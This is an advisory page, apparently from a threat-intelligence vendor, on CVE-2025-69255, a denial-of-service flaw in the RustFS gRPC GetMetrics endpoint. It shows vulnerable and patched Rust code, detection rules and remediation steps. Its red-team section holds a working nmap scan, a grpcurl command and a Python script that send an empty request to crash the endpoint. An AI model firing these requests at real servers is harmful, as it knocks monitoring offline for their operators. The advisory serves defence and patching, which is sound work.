CVE-2025-69255
Executive Summary
CVE-2025-69255 is a critical Denial of Service (DoS) vulnerability affecting RustFS, a distributed object storage system written in Rust. The flaw resides in the gRPC GetMetrics endpoint. A remote, unauthenticated attacker can send a malformed GetMetrics request that causes the server to panic due to an unwrap() call on a failed deserialization of the metric_type and opts fields. This panic terminates the handler thread, effectively crashing the metrics endpoint and denying service to legitimate monitoring and observability tools. The vulnerability affects versions from 1.0.0-alpha.13 up to (but not including) 1.0.0-alpha.78. The fix was released in version 1.0.0-alpha.78, which replaces the unsafe unwrap() with proper error handling.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
RustFS is a Rust-based project. The vulnerability is in the core application code, not in a third-party dependency. However, users should verify the integrity of the RustFS binary or source code they deploy. The official RustFS repository on GitHub is the authoritative source for patched versions. Administrators should ensure they are not running any unpatched alpha releases (1.0.0-alpha.13 through 1.0.0-alpha.77). The RustFS project does not appear to be distributed via common package managers (npm, PyPI, etc.), so supply chain risks are limited to direct source code or binary distribution channels.
CVSS Breakdown & Threat Level
CVSS Score: 7.5 (High) Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
| Metric | Value | Description |
|---|---|---|
| Attack Vector (AV) | Network (N) | Exploitable remotely over the network. |
| Attack Complexity (AC) | Low (L) | No special conditions required; a malformed request is sufficient. |
| Privileges Required (PR) | None (N) | No authentication needed. |
| User Interaction (UI) | None (N) | No user action required. |
| Scope (S) | Unchanged (U) | The vulnerable component is the only one affected. |
| Confidentiality (C) | None (N) | No data exposure. |
| Integrity (I) | None (N) | No data modification. |
| Availability (A) | High (H) | The metrics endpoint becomes completely unavailable. |
Threat Level: High. The vulnerability is trivial to exploit, requires no authentication, and directly impacts the availability of a critical monitoring interface. While it does not lead to data theft or system compromise, the DoS can blind administrators to the health of the storage system, potentially masking other attacks or failures.
Deep Dive & Mechanics
The vulnerability is in the gRPC handler for the GetMetrics RPC. In RustFS, the metrics endpoint is used to expose internal performance and health metrics (e.g., request rates, latency, storage usage) to monitoring systems like Prometheus.
The vulnerable code path is in the get_metrics function. When a GetMetrics request is received, the server deserializes the request's protobuf message. The request contains fields metric_type and opts. The code uses Rust's unwrap() method on the result of this deserialization. If the request is malformed (e.g., missing fields, invalid enum values, or corrupted data), the deserialization fails, and unwrap() causes a panic. In Rust, a panic in a spawned task or handler thread typically terminates that thread, crashing the gRPC service for that endpoint.
The specific line of code (conceptually) is:
let metric_type = request.metric_type.unwrap(); // Panics if metric_type is None or invalid
let opts = request.opts.unwrap(); // Panics if opts is None or invalid
The fix in version 1.0.0-alpha.78 replaces these unwrap() calls with pattern matching or if let statements that handle the None or error case gracefully, returning an appropriate gRPC error status instead of panicking.
Vulnerable vs. Patched Code
Vulnerable Code (pre-1.0.0-alpha.78):
// In the gRPC handler for GetMetrics
fn get_metrics(&self, request: GetMetricsRequest) -> Result<GetMetricsResponse, Status> {
let metric_type = request.metric_type.unwrap(); // PANIC: if metric_type is None
let opts = request.opts.unwrap(); // PANIC: if opts is None
// ... rest of handler
}
Patched Code (1.0.0-alpha.78+):
fn get_metrics(&self, request: GetMetricsRequest) -> Result<GetMetricsResponse, Status> {
let metric_type = match request.metric_type {
Some(mt) => mt,
None => return Err(Status::invalid_argument("metric_type is required")),
};
let opts = match request.opts {
Some(o) => o,
None => return Err(Status::invalid_argument("opts is required")),
};
// ... rest of handler
}
The patched version uses match to safely handle the Option type, returning a proper gRPC error status (INVALID_ARGUMENT) instead of panicking. This prevents the thread from crashing and keeps the metrics endpoint available.
Exploitation & Lab Setup
Red Team (Attacker)
Objective: Remotely crash the RustFS metrics endpoint.
Prerequisites:
- Network access to the RustFS gRPC port (default: 50051).
- RustFS version between 1.0.0-alpha.13 and 1.0.0-alpha.77.
Exploit Steps:
Identify Target: Scan for RustFS instances. The gRPC service typically listens on port 50051. Use Shodan or a simple port scan.
nmap -p 50051 --open <target_ip>Craft Malformed gRPC Request: Use a tool like
grpcurlor a custom Python script to send a malformedGetMetricsrequest. The key is to omit or send invalid data for themetric_typeoroptsfields.Using grpcurl:
# Send a request with an empty metric_type (causes unwrap on None) grpcurl -plaintext -d '{}' <target_ip>:50051 rustfs.MetricsService/GetMetricsUsing Python (with grpcio):
import grpc from rustfs_pb2 import GetMetricsRequest from rustfs_pb2_grpc import MetricsServiceStub channel = grpc.insecure_channel('target_ip:50051') stub = MetricsServiceStub(channel) # Send a request with no fields set request = GetMetricsRequest() try: response = stub.GetMetrics(request) except grpc.RpcError as e: print(f"RPC failed: {e.code()} - {e.details()}")Verify DoS: After sending the malformed request, attempt a legitimate
GetMetricsrequest. If the endpoint is down, the request will time out or return an error. The metrics endpoint will remain unavailable until the RustFS process is restarted.
Expected Outcome: The RustFS metrics endpoint becomes unresponsive. Monitoring systems relying on this endpoint will lose visibility.
Blue Team (Defender)
Detection:
- Monitor gRPC logs for repeated
INVALID_ARGUMENTerrors or panics. - Set up alerts for sudden drops in metrics availability.
- Use the Sigma rule provided in the Detection Engineering section.
Mitigation:
- Immediately upgrade to RustFS 1.0.0-alpha.78 or later.
- If upgrade is not possible, restrict network access to the gRPC port (50051) to trusted monitoring systems only using a firewall or network policy.
- Implement a Web Application Firewall (WAF) or API gateway that can inspect gRPC payloads and block malformed requests (though this is complex for gRPC).
Recovery:
- Restart the RustFS process to restore the metrics endpoint.
- Verify the fix by testing with a malformed request after the upgrade.
Indicators of Compromise (IOCs)
Network IOCs:
- gRPC requests to port 50051 with missing or invalid
metric_typeoroptsfields. - Sudden termination of the RustFS process or thread.
- Log entries containing "panicked at 'called
Option::unwrap()on aNonevalue'" in RustFS logs.
- gRPC requests to port 50051 with missing or invalid
System IOCs:
- RustFS process crash or restart.
- Metrics endpoint (e.g.,
/metricsor gRPCGetMetrics) returning errors or timeouts.
Log IOCs:
- Rust panic messages in application logs:
thread '<unknown>' panicked at 'called `Option::unwrap()` on a `None` value', src/metrics_service.rs:XX:YY
- Rust panic messages in application logs:
Detection Engineering
YARA Rule
rule CVE_2025_69255_RustFS_Metrics_Panic {
meta:
description = "Detects Rust panic log messages indicative of CVE-2025-69255 exploitation"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-69255"
severity = "high"
strings:
$panic_msg = "called `Option::unwrap()` on a `None` value"
$metric_type = "metric_type"
$opts = "opts"
condition:
$panic_msg and ($metric_type or $opts)
}
Sigma Rule
title: CVE-2025-69255 - RustFS Metrics Endpoint DoS via Malformed gRPC Request
id: 8a2b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects exploitation attempts against CVE-2025-69255 by monitoring for Rust panic messages in RustFS logs.
author: Valters IT
date: 2025-04-10
references:
- https://nvd.nist.gov/vuln/detail/CVE-2025-69255
logsource:
product: rustfs
service: application
detection:
selection:
- EventID: "panic"
- Message|contains: "called `Option::unwrap()` on a `None` value"
condition: selection
falsepositives:
- Legitimate code bugs (but should be investigated)
level: high
Suricata Rule
alert tcp any any -> any 50051 (msg:"CVE-2025-69255 - RustFS Metrics DoS - Malformed gRPC Request"; flow:to_server,established; content:"|00 00 00 00|"; depth:4; content:"/rustfs.MetricsService/GetMetrics"; fast_pattern; content:"metric_type"; nocase; within:100; pcre:"/metric_type\s*:\s*$/"; sid:1000001; rev:1;)
Note: The Suricata rule above is a simplified example. Real-world gRPC traffic is binary (protobuf), making pattern matching difficult. A more effective approach would be to use a gRPC-aware IDS/IPS or to monitor application logs.
Remediation & Mitigation
Immediate Action:
- Upgrade RustFS to version 1.0.0-alpha.78 or later. This is the only complete fix.
Compensating Controls (if upgrade is not possible):
- Restrict network access to the gRPC port (50051) using a firewall. Only allow trusted monitoring IPs.
- Implement a reverse proxy (e.g., Nginx, Envoy) that can validate gRPC requests before forwarding them to RustFS. This is complex and may not fully prevent the attack.
- Monitor RustFS logs for panic events and set up automated alerts.
Long-Term Recommendations:
- Adopt a "fail securely" coding practice: never use
unwrap()in production code. Use proper error handling withmatch,if let, or the?operator. - Implement fuzz testing for all gRPC endpoints to catch similar issues before release.
- Regularly update RustFS to the latest stable version.
Valters IT
DevSecOps & Cyber Threat Intelligence